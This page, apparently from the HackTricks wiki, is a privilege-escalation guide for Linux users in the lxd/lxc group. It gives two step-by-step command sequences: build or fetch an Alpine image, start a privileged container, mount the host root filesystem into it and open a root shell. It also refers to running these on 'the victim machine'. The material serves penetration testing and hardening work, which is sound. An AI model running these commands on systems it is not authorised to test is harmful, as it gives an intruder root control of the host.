lxd-privilege-escalation.md (5030B)
1 --- 2 title: "lxd/lxc Group - Privilege escalation" 3 section: "Linux" 4 sectionSlug: "linux-hardening" 5 sourcePath: "src/linux-hardening/user-information/interesting-groups-linux-pe/lxd-privilege-escalation.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/user-information/interesting-groups-linux-pe/lxd-privilege-escalation.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # lxd/lxc Group - Privilege escalation 14 15 Membership in the host's LXD management group (normally _**lxd**_) can provide a path to root by allowing full control of the daemon.<sup>[[1]](#references)</sup> 16 17 ## Exploiting without internet 18 19 ### Method 1 20 21 You can download an Alpine image to use with LXD from a trusted repository. 22 Canonical's LXD image server publishes daily builds: [https://images.lxd.canonical.com/images/alpine/3.18/amd64/default/](https://images.lxd.canonical.com/images/alpine/3.18/amd64/default/) 23 Just grab both **lxd.tar.xz** and **rootfs.squashfs** from the newest build (the directory name is the date).<sup>[[8]](#references)</sup> 24 25 Alternatively, you can install distrobuilder on your machine by following the [project instructions](https://github.com/lxc/distrobuilder).<sup>[[4]](#references)[[5]](#references)[[6]](#references)</sup> 26 27 ```bash 28 # Install requirements 29 sudo apt update 30 sudo apt install -y golang-go gcc debootstrap rsync gpg squashfs-tools git make build-essential libwin-hivex-perl wimtools genisoimage 31 32 # Clone repo 33 mkdir -p $HOME/go/src/github.com/lxc/ 34 cd $HOME/go/src/github.com/lxc/ 35 git clone https://github.com/lxc/distrobuilder 36 37 # Make distrobuilder 38 cd ./distrobuilder 39 make 40 41 # Prepare the creation of alpine 42 mkdir -p $HOME/ContainerImages/alpine/ 43 cd $HOME/ContainerImages/alpine/ 44 wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml 45 46 # Create the container - Beware of architecture while compiling locally. 47 sudo $HOME/go/bin/distrobuilder build-incus alpine.yaml -o image.release=3.18 -o image.architecture=x86_64 48 ``` 49 50 Upload **incus.tar.xz** (**lxd.tar.xz** if you downloaded from the Canonical image server) and **rootfs.squashfs**, then import the image and create a container.<sup>[[2]](#references)[[3]](#references)[[5]](#references)[[8]](#references)[[9]](#references)</sup> 51 52 ```bash 53 lxc image import lxd.tar.xz rootfs.squashfs --alias alpine 54 55 # Check the image is there 56 lxc image list 57 58 # Create the container 59 lxc init alpine privesc -c security.privileged=true 60 61 # List containers 62 lxc list 63 64 lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true 65 ``` 66 67 > [!CAUTION] 68 > If you find this error _**Error: No storage pool found. Please create a new storage pool**_\ 69 > Run **`lxd init`**, set up a default storage pool, then **repeat** the previous chunk of commands.<sup>[[2]](#references)</sup> 70 71 Finally, start the container and open a root shell on the host filesystem:<sup>[[1]](#references)[[2]](#references)</sup> 72 73 ```bash 74 lxc start privesc 75 lxc exec privesc /bin/sh 76 [email protected]:~# cd /mnt/root #Here is where the filesystem is mounted 77 ``` 78 79 ### Method 2 80 81 Build an Alpine image and start it with the flag `security.privileged=true`, which maps container root to host root; mounting `/` then exposes the host filesystem inside the container.<sup>[[1]](#references)[[7]](#references)[[9]](#references)</sup> 82 83 ```bash 84 # build a simple alpine image 85 git clone https://github.com/saghul/lxd-alpine-builder 86 cd lxd-alpine-builder 87 sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine 88 sudo ./build-alpine -a i686 89 90 # import the image 91 lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail. 92 93 # before running the image, start and configure the lxd storage pool as default 94 lxd init 95 96 # run the image 97 lxc init myimage mycontainer -c security.privileged=true 98 99 # mount the /root into the image 100 lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true 101 ``` 102 103 ## References 104 105 - [1] [How to harden security for LXD](https://canonical.com/lxd/docs/latest/howto/security_harden/) 106 - [2] [LXD containers and virtual machines](https://ubuntu.com/server/docs/how-to/virtualisation/lxd/) 107 - [3] [How to copy and import images](https://canonical.com/lxd/docs/latest/howto/images_copy/) 108 - [4] [distrobuilder](https://github.com/lxc/distrobuilder) 109 - [5] [How to build images with distrobuilder](https://github.com/lxc/distrobuilder/blob/main/doc/howto/build.md) 110 - [6] [Alpine image definition](https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml) 111 - [7] [lxd-alpine-builder build script](https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine) 112 - [8] [LXD image server](https://images.lxd.canonical.com/) 113 - [9] [Type: disk](https://canonical.com/lxd/docs/latest/reference/devices_disk/)